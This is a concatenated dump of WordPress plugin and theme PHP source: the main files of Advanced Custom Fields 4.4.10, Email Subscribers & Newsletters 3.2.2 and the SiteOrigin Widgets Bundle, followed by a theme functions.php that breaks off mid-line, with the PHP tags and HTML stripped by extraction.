php /* Plugin Name: Advanced Custom Fields Plugin URI: http://www.advancedcustomfields.com/ Description: Customise WordPress with powerful, professional and intuitive fields Version: 4.4.10 Author: Elliot Condon Author URI: http://www.elliotcondon.com/ License: GPL Copyright: Elliot Condon */ if( !class_exists('acf') ): class acf { // vars var $settings; /* * Constructor * * This function will construct all the neccessary actions, filters and functions for the ACF plugin to work * * @type function * @date 23/06/12 * @since 1.0.0 * * @param N/A * @return N/A */ function __construct() { // helpers add_filter('acf/helpers/get_path', array($this, 'helpers_get_path'), 1, 1); add_filter('acf/helpers/get_dir', array($this, 'helpers_get_dir'), 1, 1); // vars $this->settings = array( 'path' => apply_filters('acf/helpers/get_path', __FILE__), 'dir' => apply_filters('acf/helpers/get_dir', __FILE__), 'hook' => basename( dirname( __FILE__ ) ) . '/' . basename( __FILE__ ), 'version' => '4.4.10', 'upgrade_version' => '3.4.1', 'include_3rd_party' => false ); // set text domain load_textdomain('acf', $this->settings['path'] . 'lang/acf-' . get_locale() . '.mo'); // actions add_action('init', array($this, 'init'), 1); add_action('acf/pre_save_post', array($this, 'save_post_lock'), 0); add_action('acf/pre_save_post', array($this, 'save_post_unlock'), 999); add_action('acf/save_post', array($this, 'save_post_lock'), 0); add_action('acf/save_post', array($this, 'save_post'), 10); add_action('acf/save_post', array($this, 'save_post_unlock'), 999); add_action('acf/create_fields', array($this, 'create_fields'), 1, 2); // filters add_filter('acf/get_info', array($this, 'get_info'), 1, 1); add_filter('acf/parse_types', array($this, 'parse_types'), 1, 1); add_filter('acf/get_post_types', array($this, 'get_post_types'), 1, 3); add_filter('acf/get_taxonomies_for_select', array($this, 'get_taxonomies_for_select'), 1, 2); add_filter('acf/get_image_sizes', array($this, 'get_image_sizes'), 1, 1); add_filter('acf/get_post_id', array($this, 'get_post_id'), 1, 1); // includes $this->include_before_theme(); add_action('after_setup_theme', array($this, 'include_after_theme'), 1); add_action('after_setup_theme', array($this, 'include_3rd_party'), 1); } /* * helpers_get_path * * This function will calculate the path to a file * * @type function * @date 30/01/13 * @since 3.6.0 * * @param $file (file) a reference to the file * @return (string) */ function helpers_get_path( $file ) { return trailingslashit(dirname($file)); } /* * helpers_get_dir * * This function will calculate the directory (URL) to a file * * @type function * @date 30/01/13 * @since 3.6.0 * * @param $file (file) a reference to the file * @return (string) */ function helpers_get_dir( $file ) { $dir = trailingslashit(dirname($file)); $count = 0; // sanitize for Win32 installs $dir = str_replace('\\' ,'/', $dir); // if file is in plugins folder $wp_plugin_dir = str_replace('\\' ,'/', WP_PLUGIN_DIR); $dir = str_replace($wp_plugin_dir, plugins_url(), $dir, $count); if( $count < 1 ) { // if file is in wp-content folder $wp_content_dir = str_replace('\\' ,'/', WP_CONTENT_DIR); $dir = str_replace($wp_content_dir, content_url(), $dir, $count); } if( $count < 1 ) { // if file is in ??? folder $wp_dir = str_replace('\\' ,'/', ABSPATH); $dir = str_replace($wp_dir, site_url('/'), $dir); } return $dir; } /* * acf/get_post_id * * A helper function to filter the post_id variable. * * @type filter * @date 27/05/13 * * @param {mixed} $post_id * @return {mixed} $post_id */ function get_post_id( $post_id ) { // if not $post_id, load queried object if( !$post_id ) { // try for global post (needed for setup_postdata) $post_id = (int) get_the_ID(); // try for current screen if( !$post_id ) { $post_id = get_queried_object(); } } // $post_id may be an object if( is_object($post_id) ) { // user if( isset($post_id->roles, $post_id->ID) ) { $post_id = 'user_' . $post_id->ID; // term } elseif( isset($post_id->taxonomy, $post_id->term_id) ) { $post_id = $post_id->taxonomy . '_' . $post_id->term_id; // comment } elseif( isset($post_id->comment_ID) ) { $post_id = 'comment_' . $post_id->comment_ID; // post } elseif( isset($post_id->ID) ) { $post_id = $post_id->ID; // default } else { $post_id = 0; } } // allow for option == options if( $post_id === 'option' ) { $post_id = 'options'; } /* * Override for preview * * If the $_GET['preview_id'] is set, then the user wants to see the preview data. * There is also the case of previewing a page with post_id = 1, but using get_field * to load data from another post_id. * In this case, we need to make sure that the autosave revision is actually related * to the $post_id variable. If they match, then the autosave data will be used, otherwise, * the user wants to load data from a completely different post_id */ if( isset($_GET['preview_id']) ) { $autosave = wp_get_post_autosave( $_GET['preview_id'] ); if( $autosave && $autosave->post_parent == $post_id ) { $post_id = (int) $autosave->ID; } } // return return $post_id; } /* * get_info * * This function will return a setting from the settings array * * @type function * @date 24/01/13 * @since 3.6.0 * * @param $i (string) the setting to get * @return (mixed) */ function get_info( $i ) { // vars $return = false; // specific if( isset($this->settings[ $i ]) ) { $return = $this->settings[ $i ]; } // all if( $i == 'all' ) { $return = $this->settings; } // return return $return; } /* * parse_types * * @description: helper function to set the 'types' of variables * @since: 2.0.4 * @created: 9/12/12 */ function parse_types( $value ) { // vars $restricted = array( 'label', 'name', '_name', 'value', 'instructions' ); // is value another array? if( is_array($value) ) { foreach( $value as $k => $v ) { // bail early for restricted pieces if( in_array($k, $restricted, true) ) { continue; } // filter piece $value[ $k ] = apply_filters( 'acf/parse_types', $v ); } } else { // string if( is_string($value) ) { $value = trim( $value ); } // numbers if( is_numeric($value) ) { // check for non numeric characters if( preg_match('/[^0-9]/', $value) ) { // leave value if it contains such characters: . + - e //$value = floatval( $value ); } else { $value = intval( $value ); } } } // return return $value; } /* * include_before_theme * * This function will include core files before the theme's functions.php file has been excecuted. * * @type action (plugins_loaded) * @date 3/09/13 * @since 4.3.0 * * @param N/A * @return N/A */ function include_before_theme() { // incudes include_once('core/api.php'); include_once('core/controllers/input.php'); include_once('core/controllers/location.php'); include_once('core/controllers/field_group.php'); // admin only includes if( is_admin() ) { include_once('core/controllers/post.php'); include_once('core/controllers/revisions.php'); include_once('core/controllers/everything_fields.php'); include_once('core/controllers/field_groups.php'); } // register fields include_once('core/fields/_functions.php'); include_once('core/fields/_base.php'); include_once('core/fields/text.php'); include_once('core/fields/textarea.php'); include_once('core/fields/number.php'); include_once('core/fields/email.php'); include_once('core/fields/password.php'); include_once('core/fields/wysiwyg.php'); include_once('core/fields/image.php'); include_once('core/fields/file.php'); include_once('core/fields/select.php'); include_once('core/fields/checkbox.php'); include_once('core/fields/radio.php'); include_once('core/fields/true_false.php'); include_once('core/fields/page_link.php'); include_once('core/fields/post_object.php'); include_once('core/fields/relationship.php'); include_once('core/fields/taxonomy.php'); include_once('core/fields/user.php'); include_once('core/fields/google-map.php'); include_once('core/fields/date_picker/date_picker.php'); include_once('core/fields/color_picker.php'); include_once('core/fields/message.php'); include_once('core/fields/tab.php'); } /* * include_3rd_party * * This function will include 3rd party add-ons * * @type function * @date 29/01/2014 * @since 5.0.0 * * @param N/A * @return N/A */ function include_3rd_party() { // run only once if( $this->settings['include_3rd_party'] ) { return false; } // update setting $this->settings['include_3rd_party'] = true; // include 3rd party fields do_action('acf/register_fields'); } /* * include_after_theme * * This function will include core files after the theme's functions.php file has been excecuted. * * @type action (after_setup_theme) * @date 3/09/13 * @since 4.3.0 * * @param N/A * @return N/A */ function include_after_theme() { // bail early if user has defined LITE_MODE as true if( defined('ACF_LITE') && ACF_LITE ) { return; } // admin only includes if( is_admin() ) { include_once('core/controllers/export.php'); include_once('core/controllers/addons.php'); include_once('core/controllers/third_party.php'); include_once('core/controllers/upgrade.php'); } } /* * init * * This function is called during the 'init' action and will do things such as: * create post_type, register scripts, add actions / filters * * @type action (init) * @date 23/06/12 * @since 1.0.0 * * @param N/A * @return N/A */ function init() { // Create ACF post type $labels = array( 'name' => __( 'Field Groups', 'acf' ), 'singular_name' => __( 'Advanced Custom Fields', 'acf' ), 'add_new' => __( 'Add New' , 'acf' ), 'add_new_item' => __( 'Add New Field Group' , 'acf' ), 'edit_item' => __( 'Edit Field Group' , 'acf' ), 'new_item' => __( 'New Field Group' , 'acf' ), 'view_item' => __('View Field Group', 'acf'), 'search_items' => __('Search Field Groups', 'acf'), 'not_found' => __('No Field Groups found', 'acf'), 'not_found_in_trash' => __('No Field Groups found in Trash', 'acf'), ); register_post_type('acf', array( 'labels' => $labels, 'public' => false, 'show_ui' => true, '_builtin' => false, 'capability_type' => 'page', 'hierarchical' => true, 'rewrite' => false, 'query_var' => "acf", 'supports' => array( 'title', ), 'show_in_menu' => false, )); // min $min = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min'; // register acf scripts $scripts = array(); $scripts[] = array( 'handle' => 'acf-field-group', 'src' => $this->settings['dir'] . "js/field-group{$min}.js", 'deps' => array('jquery') ); $scripts[] = array( 'handle' => 'acf-input', 'src' => $this->settings['dir'] . "js/input{$min}.js", 'deps' => array('jquery', 'jquery-ui-core', 'jquery-ui-datepicker') ); foreach( $scripts as $script ) { wp_register_script( $script['handle'], $script['src'], $script['deps'], $this->settings['version'] ); } // register acf styles $styles = array( 'acf' => $this->settings['dir'] . 'css/acf.css', 'acf-field-group' => $this->settings['dir'] . 'css/field-group.css', 'acf-global' => $this->settings['dir'] . 'css/global.css', 'acf-input' => $this->settings['dir'] . 'css/input.css', 'acf-datepicker' => $this->settings['dir'] . 'core/fields/date_picker/style.date_picker.css', ); foreach( $styles as $k => $v ) { wp_register_style( $k, $v, false, $this->settings['version'] ); } // bail early if user has defined LITE_MODE as true if( defined('ACF_LITE') && ACF_LITE ) { return; } // admin only if( is_admin() ) { add_action('admin_menu', array($this,'admin_menu')); add_action('admin_head', array($this,'admin_head')); add_filter('post_updated_messages', array($this, 'post_updated_messages')); } } /* * admin_menu * * @description: * @since 1.0.0 * @created: 23/06/12 */ function admin_menu() { add_menu_page(__("Custom Fields",'acf'), __("Custom Fields",'acf'), 'manage_options', 'edit.php?post_type=acf', false, false, '80.025'); } /* * post_updated_messages * * @description: messages for saving a field group * @since 1.0.0 * @created: 23/06/12 */ function post_updated_messages( $messages ) { global $post, $post_ID; $messages['acf'] = array( 0 => '', // Unused. Messages start at index 1. 1 => __('Field group updated.', 'acf'), 2 => __('Custom field updated.', 'acf'), 3 => __('Custom field deleted.', 'acf'), 4 => __('Field group updated.', 'acf'), /* translators: %s: date and time of the revision */ 5 => isset($_GET['revision']) ? sprintf( __('Field group restored to revision from %s', 'acf'), wp_post_revision_title( (int) $_GET['revision'], false ) ) : false, 6 => __('Field group published.', 'acf'), 7 => __('Field group saved.', 'acf'), 8 => __('Field group submitted.', 'acf'), 9 => __('Field group scheduled for.', 'acf'), 10 => __('Field group draft updated.', 'acf'), ); return $messages; } /*-------------------------------------------------------------------------------------- * * admin_head * * @author Elliot Condon * @since 1.0.0 * *-------------------------------------------------------------------------------------*/ function admin_head() { ?> php } /* * get_taxonomies_for_select * * @description: * @since: 3.6 * @created: 27/01/13 */ function get_taxonomies_for_select( $choices, $simple_value = false ) { // vars $post_types = get_post_types(); if($post_types) { foreach($post_types as $post_type) { $post_type_object = get_post_type_object($post_type); $taxonomies = get_object_taxonomies($post_type); if($taxonomies) { foreach($taxonomies as $taxonomy) { if(!is_taxonomy_hierarchical($taxonomy)) continue; $terms = get_terms($taxonomy, array('hide_empty' => false)); if($terms) { foreach($terms as $term) { $value = $taxonomy . ':' . $term->term_id; if( $simple_value ) { $value = $term->term_id; } $choices[$post_type_object->label . ': ' . $taxonomy][$value] = $term->name; } } } } } } return $choices; } /* * get_post_types * * @description: * @since: 3.5.5 * @created: 16/12/12 */ function get_post_types( $post_types, $exclude = array(), $include = array() ) { // get all custom post types $post_types = array_merge($post_types, get_post_types()); // core include / exclude $acf_includes = array_merge( array(), $include ); $acf_excludes = array_merge( array( 'acf', 'revision', 'nav_menu_item' ), $exclude ); // include foreach( $acf_includes as $p ) { if( post_type_exists($p) ) { $post_types[ $p ] = $p; } } // exclude foreach( $acf_excludes as $p ) { unset( $post_types[ $p ] ); } return $post_types; } /* * get_image_sizes * * @description: returns an array holding all the image sizes * @since 3.2.8 * @created: 6/07/12 */ function get_image_sizes( $sizes ) { // find all sizes $all_sizes = get_intermediate_image_sizes(); // define default sizes $sizes = array_merge($sizes, array( 'thumbnail' => __("Thumbnail",'acf'), 'medium' => __("Medium",'acf'), 'large' => __("Large",'acf'), 'full' => __("Full",'acf') )); // add extra registered sizes foreach( $all_sizes as $size ) { if( !isset($sizes[ $size ]) ) { $sizes[ $size ] = ucwords( str_replace('-', ' ', $size) ); } } // return array return $sizes; } /* * render_fields_for_input * * @description: * @since 3.1.6 * @created: 23/06/12 */ function create_fields( $fields, $post_id ) { if( is_array($fields) ){ foreach( $fields as $field ){ // if they didn't select a type, skip this field if( !$field || !$field['type'] || $field['type'] == 'null' ) { continue; } // set value if( !isset($field['value']) ) { $field['value'] = apply_filters('acf/load_value', false, $post_id, $field); $field['value'] = apply_filters('acf/format_value', $field['value'], $post_id, $field); } // required $required_class = ""; $required_label = ""; if( $field['required'] ) { $required_class = ' required'; $required_label = ' *'; } echo '
'; echo '

'; echo ''; echo $field['instructions']; echo '

'; $field['name'] = 'fields[' . $field['key'] . ']'; do_action('acf/create_field', $field, $post_id); echo '
'; }} } /* * save_post_lock * * This action sets a global variable which locks the ACF save functions to this ID. * This prevents an inifinite loop if a user was to hook into the save and create a new post * * @type function * @date 16/07/13 * * @param {int} $post_id * @return {int} $post_id */ function save_post_lock( $post_id ) { $GLOBALS['acf_save_lock'] = $post_id; return $post_id; } /* * save_post_unlock * * This action sets a global variable which unlocks the ACF save functions to this ID. * This prevents an inifinite loop if a user was to hook into the save and create a new post * * @type function * @date 16/07/13 * * @param {int} $post_id * @return {int} $post_id */ function save_post_unlock( $post_id ) { $GLOBALS['acf_save_lock'] = false; return $post_id; } /* * save_post * * @description: * @since: 3.6 * @created: 28/01/13 */ function save_post( $post_id ) { // load from post if( !isset($_POST['fields']) ) { return $post_id; } // loop through and save if( !empty($_POST['fields']) ) { // loop through and save $_POST data foreach( $_POST['fields'] as $k => $v ) { // get field $f = apply_filters('acf/load_field', false, $k ); // update field do_action('acf/update_value', $v, $post_id, $f ); } // foreach($fields as $key => $value) } // if($fields) return $post_id; } } /* * acf * * The main function responsible for returning the one true acf Instance to functions everywhere. * Use this function like you would a global variable, except without needing to declare the global. * * Example: php $acf = acf(); ?> * * @type function * @date 4/09/13 * @since 4.3.0 * * @param N/A * @return (object) */ function acf() { global $acf; if( !isset($acf) ) { $acf = new acf(); } return $acf; } // initialize acf(); endif; // class_exists check ?> php /** * Plugin Name: Email Subscribers & Newsletters * Plugin URI: http://www.storeapps.org/product/email-subscribers/ * Description: Add subscription forms on website, send HTML newsletters & automatically notify subscribers about new blog posts once it gets published. * Version: 3.2.2 * Author: StoreApps * Author URI: http://www.storeapps.org/ * Requires at least: 3.4 * Tested up to: 4.6.1 * Text Domain: email-subscribers * Domain Path: /languages/ * License: GPLv3 * Copyright (c) 2015, 2016 StoreApps */ if(preg_match('#' . basename(__FILE__) . '#', $_SERVER['PHP_SELF'])) { die('You are not allowed to call this page directly.'); } require_once(dirname(__FILE__).DIRECTORY_SEPARATOR.'base'.DIRECTORY_SEPARATOR.'es-defined.php'); require_once(dirname(__FILE__).DIRECTORY_SEPARATOR.'classes'.DIRECTORY_SEPARATOR.'es-stater.php'); add_action( 'admin_menu', array( 'es_cls_registerhook', 'es_adminmenu' ) ); add_action( 'admin_init', array( 'es_cls_registerhook', 'es_welcome' ) ); add_action( 'admin_enqueue_scripts', array( 'es_cls_registerhook', 'es_load_scripts' ) ); add_action( 'wp_enqueue_scripts', array( 'es_cls_registerhook', 'es_load_widget_scripts_styles' ) ); add_action( 'widgets_init', array( 'es_cls_registerhook', 'es_widget_loading' ) ); // Action to Upgrade Email Subscribers database add_action( 'admin_init', array( 'es_cls_registerhook', 'sa_email_subscribers_db_update' ) ); // Admin Notices add_action( 'admin_notices', array( 'es_cls_registerhook', 'es_add_admin_notices' ) ); add_action( 'admin_init', array( 'es_cls_registerhook', 'dismiss_admin_notice' ) ); add_shortcode( 'email-subscribers', 'es_shortcode' ); add_action( 'wp_ajax_es_klawoo_subscribe', array( 'es_cls_registerhook', 'klawoo_subscribe' ) ); require_once(dirname(__FILE__).DIRECTORY_SEPARATOR.'classes'.DIRECTORY_SEPARATOR.'es-directly.php'); function es_textdomain() { load_plugin_textdomain( 'email-subscribers' , false, dirname( plugin_basename( __FILE__ ) ) . '/languages/' ); } add_action( 'plugins_loaded', 'es_textdomain' ); add_action( 'transition_post_status', array( 'es_cls_sendmail', 'es_prepare_notification' ), 10, 3 ); add_action( 'user_register', 'es_sync_registereduser' ); register_activation_hook( ES_FILE, array( 'es_cls_registerhook', 'es_activation' ) ); register_deactivation_hook( ES_FILE, array( 'es_cls_registerhook', 'es_deactivation' ) ); php /* Plugin Name: SiteOrigin Widgets Bundle Description: A collection of all our widgets, neatly bundled into a single plugin. Version: 10.0.0 Author: SiteOrigin Author URI: http://siteorigin.com Plugin URI: http://siteorigin.com/widgets-bundle/ License: GPL3 License URI: https://www.gnu.org/licenses/gpl-3.0.txt */ define('SOW_BUNDLE_VERSION', '1.2.1'); define('SOW_BUNDLE_JS_SUFFIX', '.min'); define('SOW_BUNDLE_BASE_FILE', __FILE__); // We're going to include this check until version 1.2 if( !function_exists('siteorigin_widget_get_plugin_path') ) { include plugin_dir_path(__FILE__).'base/inc.php'; include plugin_dir_path(__FILE__).'icons/icons.php'; } class SiteOrigin_Widgets_Bundle { private $widget_folders; /** * @var array The array of default widgets. */ static $default_active_widgets = array( 'so-button-widget' => true, 'so-google-map-widget' => true, 'so-image-widget' => true, 'so-slider-widget' => true, 'so-post-carousel-widget' => true, ); function __construct(){ add_action('admin_init', array($this, 'admin_activate_widget') ); add_action('admin_menu', array($this, 'admin_menu_init') ); add_action('admin_enqueue_scripts', array($this, 'admin_enqueue_scripts') ); add_action('wp_ajax_so_widgets_bundle_manage', array($this, 'admin_ajax_manage_handler') ); add_action('wp_ajax_sow_get_javascript_variables', array($this, 'admin_ajax_get_javascript_variables') ); // Initialize the widgets, but do it fairly late add_action( 'plugins_loaded', array($this, 'set_plugin_textdomain'), 1 ); add_action( 'plugins_loaded', array($this, 'load_widget_plugins'), 1 ); // Add the action links. add_action( 'plugin_action_links_' . plugin_basename(__FILE__), array($this, 'plugin_action_links') ); // Version check for cache clearing add_action( 'admin_init', array($this, 'plugin_version_check') ); // These filters are used to activate any widgets that are missing. add_filter( 'siteorigin_panels_data', array($this, 'load_missing_widgets') ); add_filter( 'siteorigin_panels_prebuilt_layout', array($this, 'load_missing_widgets') ); add_filter( 'siteorigin_panels_widget_object', array($this, 'load_missing_widget'), 10, 2 ); add_filter( 'wp_enqueue_scripts', array($this, 'sow_enqueue_active_widgets_scripts') ); } /** * Get the single of this plugin * * @return SiteOrigin_Widgets_Bundle */ static function single() { static $single; if( empty($single) ) { $single = new SiteOrigin_Widgets_Bundle(); } return $single; } /** * Set the text domain for the plugin * * @action plugins_loaded */ function set_plugin_textdomain(){ load_plugin_textdomain('siteorigin-widgets', false, dirname( plugin_basename( __FILE__ ) ). '/languages/'); } /** * This clears the file cache. * * @action admin_init */ function plugin_version_check(){ $active_version = get_option( 'siteorigin_widget_bundle_version' ); if( empty($active_version) || version_compare( $active_version, SOW_BUNDLE_VERSION, '<' ) ) { // If this is a new version, then clear the cache. update_option( 'siteorigin_widget_bundle_version', SOW_BUNDLE_VERSION ); siteorigin_widgets_deactivate_legacy_plugins(); // Remove all cached CSS for SiteOrigin Widgets if( function_exists('WP_Filesystem') && WP_Filesystem() ) { global $wp_filesystem; $upload_dir = wp_upload_dir(); // Remove any old widget cache files, if they exist. $list = $wp_filesystem->dirlist( $upload_dir['basedir'] . '/siteorigin-widgets/' ); if( !empty($list) ) { foreach($list as $file) { // Delete the file $wp_filesystem->delete( $upload_dir['basedir'] . '/siteorigin-widgets/' . $file['name'] ); } } } // An action to let widgets handle the updates. do_action( 'siteorigin_widgets_version_update', SOW_BUNDLE_VERSION, $active_version ); } } /** * Load all the widgets if their plugins are not already active. * * @action plugins_loaded */ function load_widget_plugins(){ if( empty($this->widget_folders) ) { // We can use this filter to add more folders to use for widgets $this->widget_folders = apply_filters('siteorigin_widgets_widget_folders', array( plugin_dir_path(__FILE__).'widgets/' ) ); } // Load all the widget we currently have active and filter them $active_widgets = $this->get_active_widgets(); foreach( array_keys($active_widgets) as $widget_id ) { foreach( $this->widget_folders as $folder ) { if ( !file_exists($folder . $widget_id.'/'.$widget_id.'.php') ) continue; // Include this widget file include_once $folder . $widget_id.'/'.$widget_id.'.php'; } } } /** * Get a list of currently active widgets. * * @param bool $filter * * @return mixed|void */ function get_active_widgets( $filter = true ){ // Load all the widget we currently have active and filter them $active_widgets = get_option( 'siteorigin_widgets_active', self::$default_active_widgets ); if($filter) { $active_widgets = apply_filters( 'siteorigin_widgets_active_widgets', $active_widgets); } return $active_widgets; } /** * Enqueue the admin page stuff. */ function admin_enqueue_scripts($prefix) { if( $prefix != 'plugins_page_so-widgets-plugins' ) return; wp_enqueue_style( 'siteorigin-widgets-bundle-admin', plugin_dir_url( __FILE__ ) . 'css/admin.css', array(), SOW_BUNDLE_VERSION ); wp_enqueue_script( 'siteorigin-widgets-bundle-admin', plugin_dir_url( __FILE__ ) . 'js/admin.js', array(), SOW_BUNDLE_VERSION ); } /** * The fallback (from ajax) URL handler for activating or deactivating a widget */ function admin_activate_widget() { if( !empty($_GET['page']) && $_GET['page'] == 'so-widgets-plugins' && !empty( $_GET['widget_action'] ) && !empty( $_GET['widget'] ) && isset($_GET['_wpnonce']) && wp_verify_nonce($_GET['_wpnonce'], 'siteorigin_widget_action') ) { switch($_GET['widget_action']) { case 'activate': $this->activate_widget( $_GET['widget'] ); break; case 'deactivate': $this->deactivate_widget( $_GET['widget'] ); break; } // Redirect and clear all the args wp_redirect( add_query_arg( array( '_wpnonce' => false, 'widget_action_done' => 'true', ) ) ); } } /** * Handler for activating and deactivating widgets. * * @action wp_ajax_so_widgets_bundle_manage */ function admin_ajax_manage_handler(){ if(!wp_verify_nonce($_GET['_wpnonce'], 'manage_so_widget')) exit(); if(!current_user_can('install_plugins')) exit(); if(empty($_GET['widget'])) exit(); if( $_POST['active'] == 'true' ) $this->activate_widget($_GET['widget']); else $this->deactivate_widget($_GET['widget']); // Send a kind of dummy response. header('content-type: application/json'); echo json_encode(array('done' => true)); exit(); } /** * Add the admin menu page. * * @action admin_menu */ function admin_menu_init(){ add_plugins_page( __('SiteOrigin Widgets', 'siteorigin-widgets'), __('SiteOrigin Widgets', 'siteorigin-widgets'), 'install_plugins', 'so-widgets-plugins', array($this, 'admin_page') ); } /** * Display the admin page. */ function admin_page(){ $bundle = SiteOrigin_Widgets_Bundle::single(); $widgets = $bundle->get_widgets_list(); if( isset($_GET['widget_action_done']) && !empty($_GET['widget_action']) && !empty($_GET['widget']) && !empty( $widgets[ $_GET['widget'].'/'.$_GET['widget'].'.php' ] ) ) { ?>

php printf( __('%s was %s', 'siteorigin-widgets'), $widgets[ $_GET['widget'].'/'.$_GET['widget'].'.php' ]['Name'], $_GET['widget_action'] == 'activate' ? __('Activated', 'siteorigin-widgets') : __('Deactivated', 'siteorigin-widgets') ) ?>

php } include plugin_dir_path(__FILE__).'tpl/admin.php'; } /** * Get javascript variables for admin. */ function admin_ajax_get_javascript_variables() { if ( empty( $_REQUEST['_widgets_nonce'] ) || !wp_verify_nonce( $_REQUEST['_widgets_nonce'], 'widgets_action' ) ) return; $result = array(); $widget_class = $_POST['widget']; global $wp_widget_factory; if ( ! empty( $wp_widget_factory->widgets[ $widget_class ] ) ) { $widget = $wp_widget_factory->widgets[ $widget_class ]; $result = $widget->get_javascript_variables(); } header('content-type: application/json'); echo json_encode($result); exit(); } /** * Activate a widget * * @param string $widget_id The ID of the widget that we're activating. * @param bool $include Should we include the widget, to make it available in the current request. * * @return bool */ function activate_widget( $widget_id, $include = true ){ $exists = false; foreach( $this->widget_folders as $folder ) { if( !file_exists($folder . $widget_id . '/' . $widget_id . '.php') ) continue; $exists = true; } if( !$exists ) return false; // There are times when we activate several widgets at once, so clear the cache. wp_cache_delete( 'siteorigin_widgets_active', 'options' ); $active_widgets = $this->get_active_widgets(); $active_widgets[$widget_id] = true; update_option( 'siteorigin_widgets_active', $active_widgets ); // If we don't want to include the widget files, then our job here is done. if(!$include) return; // Now, lets actually include the files include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); foreach( $this->widget_folders as $folder ) { if( !file_exists($folder . $widget_id . '/' . $widget_id . '.php') ) continue; include_once $folder . $widget_id . '/' . $widget_id . '.php'; if( has_action('widgets_init') ) { siteorigin_widgets_widgets_init(); } } return true; } /** * Deactivate a widget * * @param $id */ function deactivate_widget($id){ $active_widgets = $this->get_active_widgets(); unset($active_widgets[$id]); update_option( 'siteorigin_widgets_active', $active_widgets ); } /** * Gets a list of all available widgets */ function get_widgets_list(){ $active = $this->get_active_widgets(); $default_headers = array( 'Name' => 'Widget Name', 'Description' => 'Description', 'Author' => 'Author', 'AuthorURI' => 'Author URI', 'WidgetURI' => 'Widget URI', 'VideoURI' => 'Video URI', ); $widgets = array(); foreach($this->widget_folders as $folder) { $files = glob( $folder.'*/*.php' ); foreach($files as $file) { $widget = get_file_data( $file, $default_headers, 'siteorigin-widget' ); //skip the file if it's missing a name if ( empty( $widget['Name'] ) ) { continue; } $f = pathinfo($file); $id = $f['filename']; $widget['ID'] = $id; $widget['Active'] = !empty($active[$id]); $widget['File'] = $file; $widgets[$file] = $widget; } } // Sort the widgets alphabetically uasort( $widgets, array($this, 'widget_uasort') ); return $widgets; } /** * Sorting function to sort widgets by name * * @param $widget_a * @param $widget_b * * @return int */ function widget_uasort($widget_a, $widget_b) { return $widget_a['Name'] > $widget_b['Name'] ? 1 : -1; } /** * Look in Page Builder data for any missing widgets. * * @param $data * * @return mixed * * @action siteorigin_panels_data */ function load_missing_widgets($data){ if(empty($data['widgets'])) return $data; global $wp_widget_factory; foreach($data['widgets'] as $widget) { if( empty($widget['panels_info']['class']) ) continue; if( !empty($wp_widget_factory->widgets[$widget['panels_info']['class']] ) ) continue; $class = $widget['panels_info']['class']; if( preg_match('/SiteOrigin_Widget_([A-Za-z]+)_Widget/', $class, $matches) ) { $name = $matches[1]; $id = 'so'.strtolower( implode( '-', preg_split('/(?=[A-Z])/',$name) ) ).'-widget'; $this->activate_widget($id, true); } } return $data; } /** * Attempt to load a single missing widget. * * @param $the_widget * @param $class * * @return */ function load_missing_widget($the_widget, $class){ // We only want to worry about missing widgets if( !empty($the_widget) ) return $the_widget; if( preg_match('/SiteOrigin_Widget_([A-Za-z]+)_Widget/', $class, $matches) ) { $name = $matches[1]; $id = 'so'.strtolower( implode( '-', preg_split('/(?=[A-Z])/',$name) ) ).'-widget'; $this->activate_widget($id, true); global $wp_widget_factory; if( !empty($wp_widget_factory->widgets[$class]) ) return $wp_widget_factory->widgets[$class]; } return $the_widget; } /** * Add action links. */ function plugin_action_links($links){ $links[] = ''.__('Manage Widgets', 'siteorigin-widgets').''; $links[] = ''.__('Support', 'siteorigin-widgets').''; return $links; } /** * Ensure active widgets' scripts are enqueued at the right time. */ function sow_enqueue_active_widgets_scripts() { global $wp_registered_widgets; $sidebars_widgets = wp_get_sidebars_widgets(); foreach( $sidebars_widgets as $sidebar => $widgets ) { if ( ! empty( $widgets ) && $sidebar !== "wp_inactive_widgets") { foreach ( $widgets as $i => $id ) { if ( ! empty( $wp_registered_widgets[$id] ) ) { $widget = $wp_registered_widgets[$id]['callback'][0]; if ( is_subclass_of($widget, 'SiteOrigin_Widget') && is_active_widget( false, false, $widget->id_base ) ) { $opt_wid = get_option( 'widget_' . $widget->id_base ); preg_match( '/-([0-9]+$)/', $id, $num_match ); $widget_instance = $opt_wid[ $num_match[1] ]; $widget->generate_and_enqueue_instance_styles( $widget_instance ); $widget->enqueue_frontend_scripts( $widget_instance); } } } } } } } // create the initial single SiteOrigin_Widgets_Bundle::single(); /** * Deactivate any old widget plugins that we used to have on the directory. We'll remove this after version 1.2. */ function siteorigin_widgets_deactivate_legacy_plugins(){ // All we want to do here is disable all legacy widgets $the_plugins = get_option('active_plugins'); foreach($the_plugins as $plugin_id) { if( preg_match('/^so-([a-z\-]+)-widget\/so-([a-z\-]+)-widget\.php$/', $plugin_id) ) { // Deactivate the legacy plugin deactivate_plugins($plugin_id, true); } } } register_activation_hook( __FILE__, 'siteorigin_widgets_deactivate_legacy_plugins' ); function sow_esc_url( $url ) { $protocols = wp_allowed_protocols(); $protocols[] = 'skype'; return esc_url( $url, $protocols ); } function sow_esc_url_raw( $url ) { $protocols = wp_allowed_protocols(); $protocols[] = 'skype'; return esc_url_raw( $url, $protocols ); } php ?>php function justthreading_setup(){ register_nav_menus( array( 'main' => __( 'Main Menu', 'justthreading' ), 'footer' => __( 'Footer Menu', 'justthreading' ), ) ); add_image_size( 'service-image', 600, 398, true); add_image_size( 'service-image-home', 200, 200, true); add_image_size( 'product-image', 290, 200, true); add_theme_support( 'custom-logo', array( 'height' => 60, 'width' => 246, 'flex-height' => true, ) ); add_theme_support( 'post-thumbnails' ); require(get_template_directory() . '/inc/custom_post_types.php'); //require(get_template_directory() . '/inc/custom_post_types2.php'); //require(get_template_directory() . '/inc/functions2.php'); } add_action( 'after_setup_theme', 'justthreading_setup' ); function remove_width_attribute( $html ) { $html = preg_replace( '/(width|height)="\d*"\s/', "", $html ); return $html; } add_filter( 'post_thumbnail_html', 'remove_width_attribute', 10 ); add_filter( 'image_send_to_editor', 'remove_width_attribute', 10 ); function justthreading_scripts(){ wp_enqueue_style("font-awesome", get_template_directory_uri() . "/fonts/fontIcon/css/font-awesome.css"); wp_enqueue_style("flexslider", get_template_directory_uri() . "/css/flexslider.css"); wp_enqueue_style("bootstrap", get_template_directory_uri() . "/css/bootstrap.min.css"); wp_enqueue_style("fancybox", get_template_directory_uri() . "/css/jquery.fancybox.css"); wp_enqueue_style("googleapis", "https://fonts.googleapis.com/css?family=Open+Sans"); wp_enqueue_style("style", get_template_directory_uri() . 